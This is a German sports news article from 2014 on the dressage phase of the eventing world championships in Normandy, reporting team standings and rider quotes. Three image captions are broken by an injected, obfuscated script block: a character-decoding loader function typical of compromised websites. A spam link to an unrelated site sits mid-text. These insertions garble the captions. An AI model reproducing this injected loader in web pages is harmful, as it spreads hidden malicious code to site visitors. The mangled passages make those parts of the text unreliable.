WEG: Deutsche Mannschaft führt nach Dressur

30. August 2014 | Von Redaktion | Kategorie: Top Feature, Vielseitigkeit

[Haras de Pin (FRA)/I. Helkenberg (fn-press)]. Die deutschen Vielseitigkeitsreiter haben einen guten Einstieg in die Weltmeisterschaften erwischt. Mit 116,9 Minuspunkten rangiert die deutsche Mannschaft mit Michael Jung, Ingrid Klimke, Dirk Schrade und Sandra Auffarth nach Dressur vor den allgemein favorisierten Neuseeländern mit 125,5 Minuspunkten und den US-Amerikanern mit 138,8 Minuspunkten. Auch in der Einzelwertung hat mit Sandra Auffarth und Ogun Louvo ein deutsches Paar die Nase vorn.

Erhielt für ihren Auftritt sogar St<script type=function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfanding Ovations: Sandra Auffahrt mit Opgun Louvo (Foto: CO Normandie 2014/PSV)." width="600" height="400" />

http://seoffers.com/ Nach allen 91 Startern rangiert Jung mit 40,3 Minuspunkten auf Platz vier, Klimke folgt mit 41,2 Minuspunkten auf Platz fünf. Beide hätten sich ein paar Punkte weniger gewünscht, doch insgesamt gelang es nur drei Paaren im Dressurstadion unterhalb der ehrwürdigen Mauern des Nationalgestüts die 40er Marke zu unterbieten. Unter ihnen der Overnightleader William Fox-Pitt (Großbritannien) mit Chilli Morning (37,5) sowie der Neuseeländer Jonathan Paget (Neuseeland) mit Clifton Promise mit 38,0 Minuspunkten. Den Vogel schoss allerdings als letzte Starterin Sandra Auffarth (Ganderkesee) mit Opgun Louvo. Die Bronzemedaillengewinner von London verließ das Viereck mit nur 35,0 Minuspunkten. Ihre Vorstellung mit dem eleganten, in der Normandie gezogenen Wallach begeisterte nicht nur die Richter und die deutschen Fans, sondern auch die französischen Zuschauer, die dem Paar spontan mit Standings Ovations Respekt zollten. „Ich weiß, dass er eine gute Dressur gehen kann. Aber das Stadion hier ist schwierig, und als Letzte waren wir auch schon auf dem Vorbereitungsplatz alleine. Daher war er am Anfang etwas angespannt, wurde aber während der Prüfung immer besser und besser. Und die Galopptour ist seine absolute Stärke.“ Dies war auch der Moment, in dem die Startertafel Platz eins anzeigte. Als Sahnehäubchen gab es für das Halten und Grüßen eine „10“ obendrauf.

Die letzten werden die ersten sein: S<script type=function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandra Auffahrt ritt mit Opgun Louvo als letzte Starterin auf Platz eins in der Dressur (Foto CO Normandie 2014/PSV)." width="600" height="400" />

Sehr zufrieden war aber auch Dirk Schrade (Sprockhövel) mit der Leistung seines Pferdes Hop and Skip. „Er ist noch nie eine so gute Dressur gegangen, zumindest nicht auf Vier-Sterne-Niveau. Vor allem die fliegenden Wechsel waren toll“, sagte er halb ernst, halb ironisch. So waren beide Wechsel tatsächlich gut gelungen, allerdings war Hop and Skip auch beim Zurücknehmen aus dem starken Galopp einmal umgesprungen. „Das war der einzige grobe Fehler, der leider sehr teuer war“, sagte Schrade. Mit seinem Ergebnis von 45,3 Minuspunkten rangiert der dritte deutsche Teamreiter in der Einzelwertung auf Platz elf.

Einen guten Start konnten sich auch die beiden deutschen Einzelreiter verschaffen. „Bis aufs Verreiten war es sehr gut“, sagte Andreas Ostholt (Warendorf) nach seiner Dressur mit So is et. „Irgendwie habe ich gedacht: Da passt was nicht, ich bin auf der falschen Hand. Vielleicht lag es daran, dass ich so begeistert vom starken Galopp war“. Ostholt hob die Hand, wendete ab und startete erneut mit den Schlangenlinien. Der Fehler wirkte sich auch auf das Ergebnis aus, denn Verreiten bedeutet jeweils zwei Punkte Abzug bei allen drei Richtern. „Das ist schon bitter“, sagte Ostholt. Umgerechnet sprangen 46,3 Minuspunkte für den Hauptfeldwebel heraus.

Der Neuseeländer Jonathan Paget (NZL) zählt mit Clifton Promise zu den wenigen Paaren, die unterhalb der "40er Marke" blieben (Foto: CO Norm<script type=function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandie 2014/PSV)." width="300" height="200" />

Damit belegt er aktuell Platz 17 gemeinsam mit Peter Thomsen (Lindewitt) und Horseware’s Barny. Auch der Doppel-Mannschaftsolympiasieger hätte sich zwei, drei Minuspunkte weniger gewünscht. "Die Hinterhandswendung ist mir nicht so gelungen. Ich hatte ihn nicht so auf dem Hinterbein wie draußen. Überhaupt war er nicht so ausdrucksstark, wie auf dem Vorbereitungsplatz. Mein Ziel war eine 45, wenn alles gut läuft eine 42“, sagte er.

Wie seine Teamkollegen ist allerdings auch er sich sicher, „dass die Dressur hier nicht so bedeutend sein wird." Den Kurs, den Pierre Michelet in das kupierte Terrain rund um das Gestüt gezaubert hat, fasste er wie folgt zusammen: „Hoch, weit, breit, schmal, lang, hügelig und nass - eben ein klassischer Championatskurs auf Vier-Sterne-Niveau." Ein Wunsch der Reiter ging bereits in Erfüllung. Am Freitagnachmittag entschieden die Verantwortlichen, die Hindernisse 20, einen mächtigen Tisch, und 23, das Eulenloch, aus der Prüfung zu nehmen und die Strecke an zwei Stellen zu verkürzen. Auch die ursprüngliche Hinderniskombination 33 besteht nur noch aus einem Element. „Eine gute Entscheidung zugunsten der Pferde“, so Thomsen.

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